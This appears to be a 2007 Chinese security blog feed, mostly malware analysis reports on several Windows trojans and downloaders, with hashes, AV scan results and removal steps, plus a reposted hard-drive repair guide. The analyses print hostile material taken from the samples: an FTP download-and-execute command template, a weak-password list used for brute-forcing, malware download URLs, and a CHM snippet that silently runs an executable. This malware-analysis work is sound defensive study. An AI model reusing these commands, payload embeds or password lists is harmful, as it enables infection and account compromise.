<![CDATA[人去楼空]]> http://hi.baidu.com http://hi.baidu.com http://img.baidu.com/img/logo-hi.gif http://hi.baidu.com/renlangliu zh-cn www.baidu.com 5 <![CDATA[[搅浆糊]red pig]]> 贴图不说话：


类别：病毒岁月 查看评论]]> 2007-05-31 18:00 http://hi.baidu.com/renlangliu/blog/item/ae576c3e1948063c70cf6ce7.html <![CDATA[[原创]dmecvcm.exe、iywdqdf.exe、kocmbcd.exe、autorun.inf专杀程序]]> 那会看了好友余弦的文章，呵呵，他又写专杀了，看得心里痒痒的，偶脚本不怎么样哈，批处理还会一点，也写了一个拿出来玩玩，不过只试用于XP以上系统平台，见谅一下哈，下载地址；

http://rxuancai.136.tofor.com/showdown.asp?soft_id=25

模块；

1、利用taskkill与ifeo交叉结束进程互守，删除病毒文件并作免疫

2、遍历所有分区删除病毒文件以及autorun脚本

3、清除病毒所做的ifeo和病毒注册表项

4、恢复病毒所禁用的服务

余弦的分析地址：http://hi.baidu.com/ycosxhack/blog/item/c75fe7cafef4c647f21fe78a.html


类别：病毒岁月 查看评论]]> 2007-05-30 22:11 http://hi.baidu.com/renlangliu/blog/item/25e7ca3365961c42ad4b5f21.html <![CDATA[[转载]数据恢复硬盘开盘全过程 (图)]]> 原文地址未知；如有冒犯请跟帖
现在,硬盘的容量越来越大,给我们的工作带来了极大的方便.但是,硬盘的脆弱使得他一旦出现问题.我们又没有及时备份,后果将是带来无法估量的损失.幸好,目前在国内出现的一个新兴行业"数据恢复",使得我们遇到数据丢失,病毒破坏,误删除,误ghost,硬件故障...等不幸后可以极大地挽救重要数据,从而减少损失.
今天介绍的是大家最为关心,最为好奇,也很少见到的硬盘开盘更换磁头处理.首先我们要了解一下磁头与盘片的关系,大家都知道,数据是以磁记录方式存储在盘片上的,读取和写入都靠磁头来完成.然而,磁头并不是贴在盘片上读取的,由于磁盘的高速旋转,使得磁头利用“温彻斯特/Winchester”技术悬浮在盘片上.这使得硬盘磁头在使用中几乎是不磨损的,这使得数据存储非常稳定,硬盘寿命也大大增长.但磁头也是非常脆弱的,在硬盘工作状态下,即使是再小的振动,都有可能使磁头受到严重损坏.由于盘片是工作在无尘环境下,所以,我们在处理磁头故障,也就是更换磁头时,都必须在无尘室内完成,而且还要有扎实的基本功,熟练的技巧,才能使成功率大大提高上海数据恢复.
现在我们就来边看图片.边了解更换磁头的具体过程


点击查看全图

首先,开盘需要特定的条件和工具,无尘环境是必不可少的,其次我们可以从图中看到还需要医用手套,美工刀,尖嘴钳,直头和弯头镊子,螺丝刀(一字和t8)
点击查看全图

这次我们要更换磁头的硬盘是某客户的一个迈拓120g 硬盘,故障情况是工作后不认盘,电机转,有敲头声.首先,我们用美工刀小心地揭开硬盘上的保修标签.

点击查看全图

接下来当然是拆除top上的所有螺丝,为了工作效率,外面不是要求很高的螺丝,我们可以用电动起子去卸.

点击查看全图

我们小心的将螺丝放在培养皿里,打开top,我们就可以一览无遗地看到硬盘的内部结构了,我们可以清楚地看到组成硬盘的各个组件,包括底座base,马达moter,磁盘disc,磁头eblk,和已经打开的顶盖top......

点击查看全图

打开盘腔以后,我们首先要拆除磁头eblk与主板pcba的连接线.这里,我们就不选用电动起子了,改用手工拆除,这样可以大大地降低失误而造成的严重后果,盘片是需要特别保护的,不允许有任何物体掉落在上面.
点击查看全图

接下来我们来拆vcm组件中的钕磁铁,钕磁铁的吸力是非常大的,我们要非常当心,左手用力按住盘腔,右手紧握尖嘴钳,将钕磁铁取下.

点击查看全图

然后我们需要把磁头从盘片上停靠区移出来,移出盘片,这样才可以将磁头拆下.

点击查看全图

我们用一字螺丝刀小心地拆下磁头,用左手按住磁头,避免磁头碰到任何东西.

点击查看全图

小心翼翼地手拿vcm,把坏磁头取下.
点击查看全图

这张图上我们可以清楚的看到,这个120g的迈拓盘有3个磁头,上面两个(并着),下面一个独立的.盘片数目是2片.

点击查看全图

取下磁头以后,我们找出和坏磁头同一型号的磁头去更换,我们找来事先准备好,存放在培养皿里的备用磁头.

点击查看全图

小心地将其装在盘腔上,尤其是磁头不能碰到任何东西,因为磁头是非常脆弱的,上面的簧片稍微受到力就会变形,一旦磁头变形,即宣告这个磁头的报废.

点击查看全图

接下来这个步骤是关键中的关键了,工程师的基本功和经验都体现在这里了,这里失误,将严重损坏新换上的磁头,这个步骤就是磁头上盘片,工程师用镊子将磁头挑开,直至3个磁头全部放到盘片上,当然,磁头数目越多也就意味着难度越大.
点击查看全图

把磁头移到盘片上的磁头停靠区

点击查看全图

把磁头与pcba的连接线固定好

点击查看全图

安装vcm组件......

点击查看全图

ok,我们已经安装好盘腔里面的所有东西了.仔细检查一下就可以关上top了
点击查看全图

最后一步.安装top,上螺丝当然要注意顺序,不要一次上紧,先对角上齐螺丝,然后在对角依次拧紧每个螺丝......

点击查看全图

呵呵,一切的努力终于换来了成果,接上pc检测一下,顺便用耳朵听一下,硬盘已经可以正常认盘了,盘片没有问题的话可以直接挂负盘直接复制数据,如果盘片有问题,我们就需要用软件来跳过坏道恢复数据.......

本文,图片由上海中新数据恢复及raid恢复提供

类别：硬件维修 查看评论]]> 2007-05-29 15:23 http://hi.baidu.com/renlangliu/blog/item/d5f7c3a234eef8accbefd038.html <![CDATA[[转载]PE文件结构示意图]]>

图片转载于看雪学院：


类别：系统应用 查看评论]]> 2007-05-29 10:55 http://hi.baidu.com/renlangliu/blog/item/c0afdd1bcb7f35fbaf5133cf.html <![CDATA[[原创]劣性病毒分析报告：winfx32.exe/winnt.bat]]> 样本来自；http://bbs.kafan.cn/viewthread.php?tid=90302&extra=page%3D2&page=1

病毒名称：winfx32.exe（PS：就叫做超声波吧）

病毒大小：448,512 字节

加壳方式：未知

病毒预警：4级

病毒指纹：

SHA-160                     : 697E2D59FA689ECEBFE7CB94AD0E56279B7735CD
MD5                         : 90ADC603C68C2330D229C73E403025A5
RIPEMD-160                  : 95CE00210ACB1878C3DA6764BB4EFAFC1F9ED36D
CRC-32                      : CB349415

文章作者：　[G-AVR]孤单每一天

文章地址：http://hi.baidu.com/renlangliu/blog/item/d73ed9805484cbd69123d99a.html

命名对照：

http://scanner.virus.org

ArcaVir 1.0.4 Clean 2.67871 secs
avast! 3.0.0 Clean 0.00514603 secs
AVG Anti Virus 7.5.47 Clean 2.70932 secs
BitDefender 7.1 Backdoor.VB.EV 4.52359 secs
CAT QuickHeal 9.00 Clean 4.53888 secs
ClamAV 0.90/3311 Clean 0.531867 secs
Dr. Web 4.33.0 Clean 8.43897 secs
F-PROT 4.6.7 Clean 0.732941 secs
F-Secure 1.02 Backdoor.Win32.Rbot.cmy [AVP] 0.069514 secs
H+BEDV AntiVir 2.1.10-41 Clean 5.56607 secs
McAfee Virusscan 5.10.0 New Malware.bx 1.97413 secs
NOD32 2.51.1 Clean 2.93163 secs
Norman Virus Control 5.70.01 Clean 7.61458 secs
Panda 9.00.00 Clean 1.39275 secs
Sophos Sweep 4.17.0 Clean 5.45505 secs
Trend Micro 8.310-1002 Clean 0.020252 secs
VBA32 3.12.0 Clean 3.28923 secs
VirusBuster 1.3.3 Clean 2.03353 secs

http://www.virustotal.com

Antivirus Version Update Result
AhnLab-V3 2007.5.29.0 05.28.2007 no virus found
AntiVir 7.4.0.27 05.28.2007 no virus found
Authentium 4.93.8 05.23.2007 no virus found
Avast 4.7.997.0 05.28.2007 no virus found
AVG 7.5.0.467 05.28.2007 no virus found
BitDefender 7.2 05.28.2007 Backdoor.VB.EV
CAT-QuickHeal 9.00 05.28.2007 no virus found
ClamAV devel-20070416 05.28.2007 no virus found
DrWeb 4.33 05.28.2007 no virus found
eSafe 7.0.15.0 05.28.2007 Win32.Rbot.cmy
eTrust-Vet 30.7.3670 05.28.2007 no virus found
Ewido 4.0 05.28.2007 no virus found
FileAdvisor 1 05.28.2007 no virus found
Fortinet 2.85.0.0 05.28.2007 suspicious
F-Prot 4.3.2.48 05.25.2007 no virus found
F-Secure 6.70.13030.0 05.28.2007 no virus found
Ikarus T3.1.1.8 05.28.2007 Backdoor.VB.EV
Kaspersky 4.0.2.24 05.28.2007 Backdoor.Win32.Rbot.cmy
McAfee 5040 05.28.2007 New Malware.bx
Microsoft 1.2503 05.28.2007 no virus found
NOD32v2 2293 05.27.2007 no virus found
Norman 5.80.02 05.28.2007 no virus found
Panda 9.0.0.4 05.28.2007 no virus found

测试环境：winXPSP2 实机

病毒运行后拷贝自身到%systemroot%\system32\目录下，添加注册表启动项实现自启动，病毒运行中试图操作键盘。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

名称：Windows Service Agent

类型：REG_SZ　winfx32.exe

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices

连接：hxxp://alzahaby.com/vip/vrx6.exe下载其他病毒程序

病毒尝试用自身的端口扫描程序来扫描局域网端口，

使用net send命令发送恶意消息
接受命令发动DDOS攻击
使用FTP命令下载文件
___:00433EA8 s_VncD_DSS-Auth db 'VNC%d.%d %s: %s - [AuthBypass]',0
___:00433EA8                                                          ; DATA XREF: ___:0040EDF6 o
___:00433EC7                                  align 4
___:00433EC8 s_Rfb03d_03d                     db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040EC83 o
___:00433ED7                                  align 4
___:00433ED8 word_433ED8                      dw 1                                     ; DATA XREF: ___:0040EBFA r
___:00433ED8                                                          ; sub_41B4FC+24 r
___:00433ED8                                                          ; ___:0041B656 r
___:00433EDA                                  align 4
___:00433EDC ; char s_Cmd_exe[]
___:00433EDC s_Cmd_exe                        db 'cmd.exe',0                           ; DATA XREF: ___:0040F01D o
___:00433EDC                                                          ; sub_41A153+21 o
___:00433EE4 s_EchoOpenSD>>O db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o &echo bye >>o &ftp -n -s'
___:00433EE4                                                          ; DATA XREF: ___:0040F317 o
___:00433EE4                                  db ':o &del /F /Q o &%s',0Dh,0Ah,0
___:00433F54 s_221GoodbyeHap db '221 Goodbye happy r00ting.',0Ah,0
___:00433F54                                                          ; DATA XREF: ___:0040F952 o
___:00433F70 s_425CanTOpenDa db '425 Can',27h,'t open data connection.',0Ah,0
PS：不知道为什么会有VNC，难道VNC又出了漏洞？
使用嗅探抓包原理来获取用户名和密码
___:00436EA8 s_IrcSniff                       db 'IRC sniff',0                         ; DATA XREF: sub_412FC2+5 o
___:00436EB2                                  align 4
___:00436EB4 s_Pass_0                         db 'PASS ',0                             ; DATA XREF: sub_413038+73 o
___:00436EBA                                  align 4
___:00436EBC s_User_2                         db 'USER ',0                             ; DATA XREF: sub_413038+62 o
___:00436EC2                                  align 4
___:00436ED4 s_FtpSniff                       db 'FTP sniff',0                         ; DATA XREF: sub_413038+5 o
___:00436F14 s_HttpSniff                      db 'HTTP sniff',0                        ; DATA XREF: sub_4130BF+5 o
___:00436F50 s_VulnSniff                      db 'VULN sniff',0                        ; DATA XREF: sub_413146+5 o
结束以下进程：
修改host文件（本机未实现）
尝试对NT4.0/2000SP1-SP4/XPSP0SP进行TFTP传播
对以下用户尝试若口令破解
___:00429898 s_Oracle                         db 'oracle',0
___:0042989F                                  align 10h
___:004298A0 s_Dba                            db 'dba',0
___:004298A4 s_Database                       db 'database',0
___:004298AD                                  align 10h
___:004298B0 s_Default                        db 'default',0
___:004298B8 s_Guest_0                        db 'guest',0
___:004298BE                                  align 10h
___:004298C0 s_Wwwadmin                       db 'wwwadmin',0
___:004298C9                                  align 4
___:004298CC s_Teacher                        db 'teacher',0
___:004298D4 s_Student                        db 'student',0
___:004298DC s_Owner                          db 'owner',0
___:004298E2                                  align 4
___:004298E4 s_Computer                       db 'computer',0
___:004298ED                                  align 10h
___:004298F0 s_Root                           db 'root',0
___:004298F5                                  align 4
___:004298F8 s_Staff                          db 'staff',0
___:004298FE                                  align 10h
___:00429900 s_Admin                          db 'admin',0
___:00429906                                  align 4
___:00429908 s_Admins                         db 'admins',0
___:0042990F                                  align 10h
___:00429910 s_Administrat                    db 'administrat',0
___:0042991C s_Administrateu db 'administrateur',0
___:0042992B                                  align 4
___:0042992C s_Administrador db 'administrador',0
___:0042993A                                  align 4
___:0042993C s_Administrat_0 db 'administrator',0
密码为a-z多个常用单词，系统名称、数字、年月
病毒利用众多漏洞传播
病毒运行后网速急速减慢，低配置计算机可能会出现死机现象，测试两分钟内开启线程将近150，截图：
PS：发现该病毒目前流传甚广，杀完又中，写了一个批处理专杀程序，对病毒进行了清除、免疫，欢迎下载使用。

类别：病毒岁月 查看评论]]> 2007-05-28 22:52 http://hi.baidu.com/renlangliu/blog/item/d73ed9805484cbd69123d99a.html <![CDATA[[原创]病毒分析报告：ws2ifsl.sys/avp.exe/tf6sound.dll]]> 样本名称：1.exe


病毒大小：284,190 字节


加壳方式：无


编写语言：Borland　Delphi

病毒预警：2级


病毒指纹：
SHA-160                 : CB929DBB1929477A851DB06A54D1EA96FA1DFB10
MD5                     : 59419C7C3B504A07FF92A7F40826A28F
RIPEMD-160              : 4E7BEA5F1D676C8C03974EE0FC6685D240F14AE7
CRC-32                  : 731FC41F

文章作者：[G-AVR]孤单每一天

文章地址：http://hi.baidu.com/renlangliu/blog/item/fbc2c258bf0eaa80800a1897.html


命名对照：
http://scanner.virus.org


ArcaVir 1.0.4 Clean 3.67603 secs
avast! 3.0.0 Clean 0.0464969 secs
AVG Anti Virus 7.5.47 Clean 3.26215 secs
BitDefender 7.1 GenPack:Generic.PWStealer.874D09AB 5.07662 secs
CAT QuickHeal 9.00 Clean 5.16741 secs
ClamAV 0.90/3311 Clean 0.407175 secs
Dr. Web 4.33.0 Trojan.PWS.Maran 9.5218 secs
F-PROT 4.6.7 Unknown 0.776782 secs
F-Secure 1.02 Trojan-PSW.Win32.Maran.dy [AVP] 0.0956321 secs
H+BEDV AntiVir 2.1.10-41 NULL 5.89765 secs
McAfee Virusscan 5.10.0 PWS-Maran.dll 3.69338 secs
NOD32 2.51.1 a variant of Win32/PSW.Maran trojan 2.58767 secs
Norman Virus Control 5.70.01 Clean 8.68103 secs
Panda 9.00.00 Clean 0.968208 secs
Sophos Sweep 4.17.0 Mal/Maran-A 5.94194 secs
Trend Micro 8.310-1002 Clean 0.515448 secs
VBA32 3.12.0 Clean 3.77676 secs
VirusBuster 1.3.3 Clean 2.12044 secs


http://www.virustotal.com

AhnLab-V3 2007.5.24.0 05.28.2007 no virus found
AntiVir 7.4.0.27 05.28.2007 TR/PSW.Stealer.284190
Authentium 4.93.8 05.23.2007 could be a corrupted executable file
Avast 4.7.997.0 05.27.2007 Win32:Qhost-AI
AVG 7.5.0.467 05.27.2007 no virus found
BitDefender 7.2 05.28.2007 GenPack:Generic.PWStealer.874D09AB
CAT-QuickHeal 9.00 05.26.2007 no virus found
ClamAV devel-20070416 05.28.2007 no virus found
DrWeb 4.33 05.28.2007 Trojan.PWS.Maran
eSafe 7.0.15.0 05.27.2007 no virus found
eTrust-Vet 30.7.3670 05.28.2007 no virus found
Ewido 4.0 05.27.2007 no virus found
FileAdvisor 1 05.28.2007 no virus found
Fortinet 2.85.0.0 05.28.2007 suspicious
F-Prot 4.3.2.48 05.25.2007 W32/Rootkit-Backdoor-based!Maximus
F-Secure 6.70.13030.0 05.28.2007 Trojan-PSW.Win32.Maran.dy
Ikarus T3.1.1.8 05.28.2007 Generic.PWS.Maran
Kaspersky 4.0.2.24 05.28.2007 Trojan-PSW.Win32.Maran.dy
McAfee 5039 05.25.2007 PWS-Maran.dll
Microsoft 1.2503 05.28.2007 no virus found
NOD32v2 2293 05.27.2007 a variant of Win32/PSW.Maran
Norman 5.80.02 05.25.2007 no virus found
Panda 9.0.0.4 05.28.2007 no virus found
Prevx1 V2 05.28.2007 no virus found
Sophos 4.18.0 05.25.2007 Mal/Maran-A
Sunbelt 2.2.907.0 05.26.2007 VIPRE.Suspicious
Symantec 10 05.28.2007 no virus found
TheHacker 6.1.6.123 05.25.2007 no virus found
VBA32 3.12.0 05.26.2007 no virus found
VirusBuster 4.3.23:9 05.27.2007 no virus found
Webwasher-Gateway 6.0.1 05.28.2007

Trojan.PSW.Stealer.284190

测试环境：winXPProSP2 实机

样本可能为下载者所下载，运行后释放ws2ifsl.sys到%systemroot%\system32\drivers\目录下，注册驱动，释放avp.exe到%systemroot%\目录下，注册服务，释放tf6sound.dll到%systemroot%\system32\目录下挟持winsock的tcp/ip和raw/ip，调用释放的批处理文件删除病毒文件。

病毒修改和新建注册表项：


挟持Winsock：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WinSock2

\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001\PackedCatalogItem
C:\WINNT\system32\tf6sound.dll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WinSock2

\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013\PackedCatalogItem
C:\WINNT\system32\tf6sound.dll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2

\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013\PackedCatalogItem
C:\WINNT\system32\tf6sound.dll
还有其他默认上面的改动不列举
反汇编分析tf6sound.dll：
猜测病毒挟持winsock在后台使用多个IP地址刷流量，本人对游戏不是很了解，不过被刷的网站是和游戏点卡相关的，列举一下被刷名和IP。
连接网页：https://tw.gash.gamania.com/GASHLogin.aspx

CODE:00421AD4 s_Changegashpas db 'ChangeGashPass:gash**:',0 ; DATA XREF: sub_41FD20+F14 o

CODE:00421BFC s_Changegamepas db 'ChangeGamePass:gamea**ount:',0　　

PS：用这种方法来给自己充点卡是不道德的，用户名暂不列出，希望病毒作者好自为之。

61.220.62.*　
61.220.56.*-61.220.56.*
203.69.46.*-203.69.46.*
220.130.113.*
220.130.125.13*
220.130.125.14*-220.130.125.14*
220.130.125.18*-220.130.125.18*
220.130.125.24*-220.130.125.24*
220.130.125.21*-220.130.125.21*
220.130.125.17*-220.130.125.17*


注册服务：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VGADown\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_VGADOWN\
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_VGADOWN\
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VGADown\
服务名称：VGADown
显示名称：Audio Adapter
服务映象：%systemdrive%\%systemroot%\avp.exe
启动方式：自动
服务描述；无
服务隶属于：LocalSystem
注册驱动：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WS2IFSL\
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_WS2IFSL\
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_WS2IFSL\
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WS2IFSL\
服务名称：WS2IFSL
显示名称：Windows 套接字 2 .0 Non-IFS 服务提供程序支持环境
服务映象：%systemdrive%\%systemroot%\system32\drivers\ws2ifsl.sys
启动方式：自动
服务描述：无
服务隶属于：LocalSystem
有必要说明一下病毒的两个主文件，ws2ifsl.sys与avp.exe，avp.exe是病毒的进程文件，属于win32服务类别，可以在任务管理器中看到，ws2ifsl.sys属于系统驱动，虽然启动方式为非系统和引导，但是也无法看到病毒进程。

清除方法：
打开IceSword找到ws2ifsl.sysavp.exe强制卸除，删除病毒注册的驱动和服务注册表项（整个项），使用SREng首先修复安全模式，在安全模式下删除N/A的winsock，使用syscheak的winsock修复功能修复winsock协议（SREng无法修复但可以删除，）删除tf6sound.dll，重启计算机，杀毒完毕。

PS：不要试图在正常模式下强制删除和反注册tf6sound.dll，会造成服务错误重启计算机的。


类别：病毒岁月 查看评论]]> 2007-05-28 16:22 http://hi.baidu.com/renlangliu/blog/item/fbc2c258bf0eaa80800a1897.html <![CDATA[[原创]：病毒分析text.exe(已更新)]]> 样本来自：http://bbs.kafan.cn/viewthread.php?tid=89554&extra=page%3D1

写在前面：孤单每一天第二次提醒大家在网络上面少接触一些不健康的东西，色子头上一把刀

粗浅分析：

该文件是CHM文档，使用了内部java脚本嵌入的方法种植了病毒程序text.exe：

</script>
<body onselectstart="return false"; onpaste="return false";>
<img src="test.exe" width=0 height=0>
<img src="001.jpg">
<object id="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="test.exe">
</object>
</body>

当运行这个帮助文档的时候就会执行病毒程序。病毒释放路径为：

C:\WINDOWS\Downloaded Program Files\test.exe（没有环境变量的判断）

对于这种挂马的方式记得几个月前见过，希望不会有发展，不然小说迷们可救遭殃了，当然也有修复的方法，就拿这个病毒来说，去掉病毒运行很容易的，使用UE直接抹掉就可以，搜索关键字text.exe替换为????????，之后保存。

对比一下：

之后文件打开后就不会中毒了，因为病毒的目录索引被毁了，就算病毒存在也不会运行，相关的图片不方便贴出，见谅

类别：病毒岁月 查看评论]]> 2007-05-27 01:04 http://hi.baidu.com/renlangliu/blog/item/ca0bc213cf8340035aaf53d1.html <![CDATA[[原创]下载者qrypz.exe浅析]]> 样本来自：http://bbs.kafan.cn/viewthread.php?tid=89016&extra=page%3D1

.rdata:121520DC s_Urldownloadto db 'URLDownloadToFileA',0 ; DATA XREF: .text:12151488 o

.rdata:12152118 s_ProgramFilesI db 'program files\Internet Explorer\IEXPLORE.EXE',0

.rdata:12152284 s_File1_5D15_zi db 'file/1.5/d15.zip',0 ; DATA XREF: start+153 o
.rdata:12152295                      align 4
.rdata:12152298 s_Docprop1_dll       db '\DocProp1.dll',0         ; DATA XREF: start+123 o
.rdata:121522A6                      align 4
.rdata:121522A8 ; char s_File1_5M15_zi[]
.rdata:121522A8 s_File1_5M15_zi db 'file/1.5/m15.zip',0 ; DATA XREF: start+103 o
.rdata:121522B9                      align 4
.rdata:121522BC ; char s_Http3w_39100_[]
.rdata:121522BC s_Http3w_39100_ db 'http://3w.39100.net/',0 ; DATA XREF: start+F1 o

//调用URLDownloadToFileA函数开启IE后台进行小马下大马，两个木马的连接为（以证实）：

http://3w.39100.net/file/1.5/d15.zip

http://3w.39100.net/file/1.5/m15.zip

.rdata:12152210 s_SoftwareMic_0 db 'Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\msv1_1\',0

.rdata:121521E8 s_Dllname            db 'DllName',0               ; DATA XREF: start+3C0 o
.rdata:121521F0 s_Msv1_1_dll_0       db 'msv1_1.dll',0            ; DATA XREF: start+395 o

//写注册表挂接winlogon.exe进程

d15.zip浅析：

被下载的木马实则为PE文件，应该是该病毒的空间无法上传PE文件导致病毒幕后使用者更改扩展名，如图：

待d15.zip'下载完成运行后，同上：
.rdata:35155114 s_ProgramFilesI db 'program files\Internet Explorer\IEXPLORE.EXE',0
.rdata:35155114                                             ; DATA XREF: sub_35151DA5+62 o
.rdata:35155114                                             ; sub_35152D5C+83 o
.rdata:35155141                     align 4
.rdata:35155144 ; char s_Urldownloadto[]
.rdata:35155144 s_Urldownloadto db 'URLDownloadToFileA',0 ; DATA XREF: sub_35151E2F+32 o
.rdata:351552D0 s_Login_asp?cpu db 'login.asp?cpuid=',0 ; DATA XREF: sub_35152F0C+10E o
.rdata:351552E1                     align 4
.rdata:351552E4 ; char s_Http3w_39100_[]
.rdata:351552E4 s_Http3w_39100_ db 'http://3w.39100.net/',0 ; DATA XREF: sub_35152F0C+FD o
//尝试连接http://3w.39100.net/login.asp?
.rdata:351553E8 s_File1_5D15_zi db 'file/1.5/d15.zip',0 ; DATA XREF: DllEntryPoint+139 o
.rdata:351553F9                     align 4
.rdata:351553FC ; char s_Docprop1_dll[]
.rdata:351553FC s_Docprop1_dll      db '\DocProp1.dll',0        ; DATA XREF: DllEntryPoint+115 o
.rdata:3515540A                     align 4
.rdata:3515540C ; char s_File1_5Fb15_z[]
.rdata:3515540C s_File1_5Fb15_z db 'file/1.5/fb15.zip',0 ; DATA XREF: DllEntryPoint+F7 o
.rdata:3515541E                     align 10h
.rdata:35155420 ; char s_File1_5Server[]
.rdata:35155420 s_File1_5Server db 'file/1.5/serverhelp.zip',0
.rdata:35155420                                             ; DATA XREF: DllEntryPoint+9E o
.rdata:35155420                                             ; DllEntryPoint+A9 o
//继续进行下载，下载文件如下（已证实）：
http://3w.39100.net/file/1.5/serverhelp.zip
http://3w.39100.net/file/1.5/fb15.zip

.rdata:35155244 ; char s_ShellAutoComm[]
.rdata:35155244 s_ShellAutoComm db 'shell\Auto\command',0 ; DATA XREF: sub_351529E9+1CB o
.rdata:35155257                     align 4
.rdata:35155258 ; char s_Shellexecute[]
.rdata:35155258 s_Shellexecute      db 'shellexecute',0         ; DATA XREF: sub_351529E9+1B5 o
.rdata:35155265                     align 4
.rdata:35155268 ; char s_Autorun[]
.rdata:35155268 s_Autorun           db 'AutoRun',0              ; DATA XREF: sub_351529E9+19F o
.rdata:35155270 ; char s_Open[]
.rdata:35155270 s_Open              db 'OPEN',0                 ; DATA XREF: sub_351529E9+19A o
.rdata:35155275                     align 4
.rdata:35155278 ; char String[]
.rdata:35155278 String              db '1.5',0                  ; DATA XREF: sub_351529E9+147 o
.rdata:35155278                                             ; sub_351529E9+1DA o
.rdata:35155278                                             ; sub_35152F0C+5A o
.rdata:35155278                                             ; sub_351535CB+49 o
.rdata:35155278                                             ; sub_35153A30+4A o
.rdata:3515527C ; char s_Ver[]
.rdata:3515527C s_Ver               db 'ver',0                  ; DATA XREF: sub_351529E9+12F o
.rdata:3515527C                                             ; sub_351529E9+1DF o
.rdata:3515527C                                             ; sub_351535CB+4E o
.rdata:3515527C                                             ; sub_35153A30+39 o
.rdata:35155280 ; char s_Autorun_inf[]
.rdata:35155280 s_Autorun_inf       db 'autorun.inf',0          ; DATA XREF: sub_351529E9+100 o
.rdata:35155280                                             ; sub_35152C2D+B0 o
.rdata:3515528C ; char s_Recycler_0[]
.rdata:3515528C s_Recycler_0        db 'RECYCLER\',0            ; DATA XREF: sub_351529E9+BC o
.rdata:3515528C                                             ; sub_35152C2D+6C o
.rdata:35155296                     align 4
.rdata:35155298 ; char s_Recycler[]
.rdata:35155298 s_Recycler          db 'RECYCLER',0             ; DATA XREF: sub_351529E9+33 o
.rdata:351552A1                     align 4

//该病毒为autorun病毒，将自身写入回收站目录中
serverhelp.zip浅析
serverhelp.zip是一个VC++写得dll程序，伪装为zip文件，里面只获得如下脚本：
.rdata:09167538                    unicode 0, <my applet>,0
.rdata:0916754C s_Afterbegin:                              ; DATA XREF: sub_9153920+CF o
.rdata:0916754C                    unicode 0, <afterBegin>,0
.rdata:09167562                    align 8
.rdata:09167568 ; char s_<divIdTmpdiv>[]
.rdata:09167568 s_<divIdTmpdiv> db '<div id=tmpdiv></div>&nbsp;<script        language=javascript      src=%s      defer></script>',0
.rdata:09167568                                            ; DATA XREF: sub_9153AE0+158 o
对脚本不是很了解，只能够到此

类别：病毒岁月 查看评论]]> 2007-05-25 14:34 http://hi.baidu.com/renlangliu/blog/item/f06bc707807f5bcc7b8947a3.html <![CDATA[FP30SVR.exe/mshtmlsed.exe/player.dll/inject.DLL/ser.exe/play.dll/]]> 写在前面：又是一个十足的流氓程序，本文分析不是很透彻，好多地方不是很理解，多多指教。

.rdata:00414210 s_SoftwareMic_0 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
.rdata:00414210                                          ; DATA XREF: .data:00418184 o
.rdata:00414246                  align 4
.rdata:00414248 s_SystemCurrent db 'SYSTEM\CurrentControlSet\Services\EventLog\Application\',0
.rdata:00414248                                          ; DATA XREF: .data:off_418180 o
.data:00418180 off_418180       dd offset s_SystemCurrent ; DATA XREF: .text:004016DE r
.data:00418180                                          ; "SYSTEM\\CurrentControlSet\\Services\\Event"...
.data:00418184                  dd offset s_SoftwareMic_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
.data:00418188                  dd offset off_414950
.data:0041818C                  align 10h
.data:00418190 s__?avcntservic db '.?AVCNTService@@',0

//写注册表实现登陆前启动


.rdata:00414514 s_Bho_dll        db 'bho.dll',0           ; DATA XREF: .text:004123E2 o
.rdata:0041451C s_Play_dll       db 'play.dll',0          ; DATA XREF: .text:00412402 o
.rdata:00414528 s_Ser_exe        db 'ser.exe',0           ; DATA XREF: .text:00412422 o
.rdata:00414530 s_Inject_dll     db 'inject.DLL',0        ; DATA XREF: .text:00412442 o
.rdata:0041453C s_Tmp333_tmp     db 'tmp333.tmp',0        ; DATA XREF: .text:00412462 o
.rdata:00414548 s_Tmp334_tmp     db 'tmp334.tmp',0        ; DATA XREF: .text:00412482 o
.rdata:00414554 s_Tmp335_tmp     db 'tmp335.tmp',0        ; DATA XREF: .text:004124A2 o
.rdata:00414560 s_Helpie_dll     db 'HelpIE.dll',0        ; DATA XREF: .text:004124C2 o
.rdata:0041456C s_Player_dll     db 'player.dll',0        ; DATA XREF: .text:004124E2 o
.rdata:00414578 s_Mshtmlsed_exe db 'mshtmlsed.exe',0     ; DATA XREF: .text:00412502 o
.rdata:00414588 s_Fp30ie_dll     db 'FP30IE.dll',0        ; DATA XREF: .text:00412522 o
.rdata:00414594 s_Fp30py_dll     db 'FP30PY.dll',0        ; DATA XREF: .text:00412542 o
.rdata:004145A0 s_Fp30svr_exe    db 'FP30SVR.exe',0       ; DATA XREF: .text:00412562 o

//释放病毒文件FP30SVR.exe、FP30PY.dll、FP30IE.dll、mshtmlsed.exe、player.dll、HelpIE.dll、tmp335.tmp、tmp334.tmp、tmp333.tmp、inject.DLL、ser.exe、play.dll、bho.dll

.text:00412392                  align 10h
.text:004123A0                  push     7
.text:004123A2                  push     offset s_Ms_2fax ; "ms_2fax"
.text:004123A7                  mov      ecx, offset unk_4181BC
.text:004123AC                  call     sub_4029A0
.text:004123AC
.text:004123B1                  push     offset loc_412FA0
.text:004123B6                  call     _atexit
.text:004123B6
